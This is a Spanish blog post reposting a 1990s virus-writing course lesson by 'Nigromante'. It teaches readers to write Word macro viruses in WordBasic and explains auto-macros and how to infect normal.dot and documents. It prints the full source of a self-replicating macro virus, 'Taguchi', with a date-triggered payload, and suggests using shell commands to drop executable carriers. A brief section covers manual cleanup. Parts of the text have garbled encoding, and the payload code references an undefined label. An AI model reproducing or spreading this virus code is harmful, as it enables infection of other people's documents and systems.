miércoles, 20 de febrero de 2013

CURSO-6


Ahora toca hablar un poco sobre los virus de Word. Estos virus se programan
en un lenguaje llamado WB (wordbasic).

Si supongo que a muchos de vosotros os suena eso del basic y tenéis mucha

razón ya que el WB es una variante del basic. A mi me recuerda enormente

al famoso qbasic que ven¡a con el DOS, sobretodo porque est  bastante

estructurado y no hay que poner los engorrosos numeros de linea cada

vez ;>.

Supongo que los virus del Word son tan famosos porque desde la aparici¢n de

win95 es la forma m s sencilla de infectar un ordenador, porque est  en

un lenguaje de alto nivel y cualquier LAMER puede aprender a utilizarlo

estudianto unos cuantos comandos, y porque por si fuera poco está en una

variante del basic, y quien no aprendió a programar en Basic con la aparición

de los Amstrad y los Spectrum.

Aun así no me parece una rama de los virus muy interesante, al ver

un virus en ensamblador ,aprecias la belleza de su código (siempre y cuando

est‚ bien programado) en cambio cuando ves un virus en WB dices - pero que

cutre!!!!!. Algo as¡ como los virus para BAT o los Companion Viruses.

De todos modos su utilización como carriers (programa con el que

empiezas a contaminar un sistema) es bastante interesante. El virus Ph33r

de los australiandos Vlad ,se extendía mediante un virus para word.

                          Sí son cutres pero que coño se reproducen no???.

                         En primer lugar ¿cuando se ejecuta un Macro?

En el winword existe un famoso archivo llamado normal.dot en ‚el

que se almacenan todas las macros existentes en el word. Entre ellas

están unas macros automáticas que se ejecutan cada vez que se

da cierto evento. Hay 5 macros automáticas ,asociadas a 5

eventos del sistema.

autoclose -Se ejecuta cuando se cierra un archivo

autoopen -Se ejecuta cuando se abre un archivo

autonew -Se ejecuta cuando se crea un archivo.

autoexec -Se ejecuta cuando entras en el word.

autoexit -Se ejecuta cuando sales del word.

De modo que si tu creas una macro llamada autoclose que visualize

tu nombre en pantalla. Cada vez que cierres un archivo se

visualiza  tu nombre en pantalla ;>. Esto parece más fácil que

la residencia en ensamblador jejejeje.

Realmente el virus no está residente simplemente está en el normal.dot

esperando que se ejecute un evento.

Ahora bien, si recibes un archivo contaminado ,como se copia a tu

sistema (al normal.dot) si tu normal.dot está  limpio todavía?

Resulta que en los archivos también puedes introducir macros.

El macro autoopen en un archivo se ejecutaría cada vez que abres un

archivo y el autoclose cada vez que lo cierras.

Ahora bien ese archivo tiene que ser de tipo plantilla si no el macro

no se podría ejecutar.Los virus de word normalmente aunque no sean

una plantilla ,graban los archivos contaminados como plantilla para

que puedan ser ejecutados sus macros directamente desde los archivos.

Esto se hace con el simple comando

archivoguardarcomo.formato=1

nota: Como veis los comandos están en Castellano, la verdad es que

esto sólo es posible en la versión hispana del word ,pero hay que

fomentar la producción nacional.

De todas formas si veis el código de algún virus de word en Ingles

no te preocupes la traducción es practicamente literal para la

versión castellana.

             y ahora bien ¿como copio el virus desde un archivo al normal.dot?

No es necesario utilizar cosas raras ni punteros ni guardar valores

en registros como en ensamblador, esto es un lenguaje de alto

nivel esto se hace con una simple instrucción jejejejeje.

macrocopiar "doc1:autoclose","global:autoclose"

Con esta instrucción copio el macro autoclose situado en el

archivo doc1 al macro autoclose que guardar‚ en normal.dot

(no se referencia al archivo de macros normal.dot como tal, sino

que se utiliza la expresión global)

fácil no??. del mismo modo se puede hacer lo contrario

macrocopiar "global:autoclose","doc1:autoclose"

para copiar del macro autoclose de global a doc1.

Tambien se puede sustuir esta expresión por

macrocopiar "global:autoclose",nombreventana$()+":autoclose"

Esto copia la macro autoclose de global al archivo que va a ser cerrado.

nombreventana$() es una funci¢n del word que devuelve el nombre de

la ventana abierta.

           Ahora viene una pregunta importante ¿donde escribo el virus?

Mira en el menu de herramientas la opcion macros.

Te aparecer  un bonito editor de macros con todas las macros existentes

actualmente en tu word y si tienes alguna plantilla abierta te

proporciona la posibilidad de ver los macros incluidos en dicha

plantilla

            Otra pregunta importante ¿como eliminar un virus de word?

Si sospechas que tienes un virus de word, borra el normal.dot

de modo que el propio word te crear  uno limpio. Con eso limpias

el normal.dot .Los archivos los puedes abrir con el editor de macros

en la opcion organizador.

(abrelos con el editor si los abres con el word estamos en las mismas

con el normal.dot contaminadito).Y puedes borrar todas macros que

tengas en el archivo. :> fácil ehhh.

Normalente no hay macros en el normal.dot así que si habres el editor

y ves un par de macros ,puedes pensar mal.

No conozco a nadie que utilice macros unicamente los creadores de virus.

                               Nuestro primer virus.

Este virus estar  formado por 2 macros una autoclose y otra llamada

nigro que es el que utilizaremos para saber si est  contaminado

el archivo o el normal.dot

'***********************************************************

'*                                                                                                                  *

'* Virus Taguchi                                                                                            *

'* (la probabilidad de aprobar es de un 0.05 %)                                             *

'*                                                                                                                  *

'***********************************************************

Sub MAIN 'este macro definelo como autoclose

On Error Goto finalizar 'si hay algun error va a finalizar

'hay etiquetas y saltos condicionales

'como pod‚is ver.

Nigro1$ = NombreVentana$() + ":autoclose"

Nigro2$ = NombreVentana$() + ":nigro"

Archi$ = LCase$(Right$(NombreArchivoMacro$(NombreMacro$(0)), 10))

'utilizo la función Lcase para realizar la comparación

'solo en minúsculas y en Archi$ tendrá‚ el nombre del

'archivo que contenga el macro ya sea un archivo de

'plantilla o el normal.dot

'utilizo la función right$ porque nombrearchivomacro$

'devuelve el nombre con la ruta

If archi$ = "normal.dot"  Then        'si se ejecuta desde el normal.dot

             If infectado = 0 Then

               Goto contadoc 'si no lo esta contamina el archivo activo

            Else

                Goto finalizar 'si lo esta no contamina

            EndIf

Else 'se ejecuta desde un archivo

            If infectado = 0 Then

                     Goto contanormal 'contamina normal.dot si no lo esta

           Else

                    Goto finalizar 'no contamina porque ya lo est

          EndIf

EndIf

Goto finalizar

MsgBox "virus Taguchi"

contadoc:                  'contamina archivo abierto

ArchivoGuardarComo .Formato = 1 'en archivos sólo se autoejecutar n las

                                                         'macros que están en plantillas.

                                                         'Pues creamos la plantilla.

MacroCopiar "global:autoclose", nigro1$, 1

MacroCopiar "global:nigro", nigro2$, 1

ArchivoGuardarTodo 1, 1

Goto finalizar

contanormal: 'contamina el normal.dot

MacroCopiar nigro1$, "global:autoclose", 1

MacroCopiar nigro2$, "global:nigro", 1

ArchivoGuardarTodo 1, 0

Goto finalizar

finalizar:

Call Nigro                  , payload ,llamo a otra macro.

End Sub

'anda pero si hay tambien funciones!!!!!

'que bonito!!!

'esta funcion definela dentro de la ventana

'del macro autoclose ya que es llamada desde

'dicha macro

Function infectado 'función que verifica si estó  infectado

'ya sea un archivo o el normal.dot segun el

'caso devuelve 0 si limpio y 1 si infectado

infectado = 0

Archi$ = LCase$(Right$(NombreArchivoMacro$(NombreMacro$(0)), 10))

'busca entre los macros si est  el macro nigro

'si est  es que estar  contaminado

If archi$ = "normal.dot" Then

                    If ContarMacros(1) > 0 Then

                                  For i = 1 To ContarMacros(1)

                                           If NombreMacro$(i, 1) = "nigro" Then

                                                                                       infectado = 1

                                          End If

                                 Next i

                     End If

Else

                     If ContarMacros(0) > 0 Then

                                For i = 1 To ContarMacros(0)

                                         If NombreMacro$(i, 0) = "nigro" Then

                                                                                infectado = 1

                                        End If

                              Next i

                   End If

 End If

End Function

Sub MAIN 'este procedimiento definelo como nigro

If Día(Ahora()) = 19 And Mes(Ahora()) = 2 Then

Insertar " * tAgUchI vIrUz * by NIGROMANTE(nEUrOtIc cpU) 1997"

Goto bucle

'si es el día 19 de Febrero creo un bucle infinito

'escribiendo en el archivo abierto nEUrOtIc cpU

End If

End Sub

Supongo que la mayoría de estas funciones son fáciles de entender

intuitivamente por el nombre, sino podéis hacer pruebas con el

word.

De todas formas voy a explicar un poco la verificación de si está

contaminado el archivo.

En primer lugar el virus guarda en archi$() el nombre del archivo

desde el que fue ejecutado el macro (tened en cuenta que

en como qbasic las funciones que devuelven texto tienen el simbolo

$ al final).En nombre del archivo lo obtiene mediante la función

nombrearchivomacro$().

Ahora teniendo ese nombre compara archi$ con "normal.dot" para

saber si se est  ejecutando el macro desde un archivo o desde

el normal.dot. Si se est  ejecutando desde el normal.dot ,

como es lógico no hará  falta contaminarlo jejeje, entonces mediante

la función infectado mira si el archivo abierto esta contaminado

si no lo está  lo contamina y si lo está  se va a la macro

nigro para realizar el payload. En el caso en que se ejecute

desde un archivo se hace lo contrario mediante la funcion infectado

se mira si el normal.dot está  contaminado si lo está  se va al macro

nigro y si no lo está  lo contamina.Guau esto parece un trabalenguas

La función infectado trabaja por tando de diferente manera según

se ejecute desde un archivo o desde el normal.dot.

Si se ejecuta desde un archivo

                    infectado=1 si normal.dot infectado

                    infectado=0 si normal.dot no infectado

Si se ejecuta desde el normal.dot

                    infectado=1 si archivo infectado

                    infectado=0 si archivo no infectado

La verificación de si est  infectado o n o ya sea el archivo o el

normal.dot se hara mediante las funciones

        contarmacros(1) que devuelve el número de macros en el archivo

                                  activo

       contarmacros(0) que devuelve el n£mero de macros en normal.dot

       nombremacro$(n,1) devuelve el nombre del macro numero n

                                      dentro del archivo activo

      nombremacro$(n,0) devuelve el nombre del macro numero n

                                     dentro del normal.dot

El recorrido por todos los nombres de macros se realiza mediante

un bucle (si esto es un jodido lenguaje de alto nivel ,aquí hay de todo)

             For i = 1 To ContarMacros(1)

                         If NombreMacro$(i, 1) = "nigro" Then

                                                                infectado = 1

                        End If

           Next i

Con esto se busca una macro de nombre "nigro" dentro de un archivo

si lo encuentra infectado tomar  el valor 1.En caso contrario

infectado tendr  el valor con el que fue inicializado es decir 0.

Comandos interesantes para el payload serían por ejemplo

shell "comando" con el que puedes ejecutar programas del sistema

operativo.

El comando shell es muy interesante para hacer llamadas al programa

debug del dos con codigo hexadecimal y crear carriers ejecutables

de virus como en el caso del Ph33r.

insertar "hola hola hola" puedes insertar texto en el documento activo

msgbox "virus activado" aparece un cuadro de diálogo que este mensaje

y desaparece cuando se apreta el boton de

'aceptar'.

                Bueno si tenéis dudas podéis mandar un mail etc etc etc.

                               Curso creado y distribuido por Nigromante

                               MSGBOX " nEUrOtIc cpU is with you!!!!!! "
 


0 comentarios:

Publicar un comentario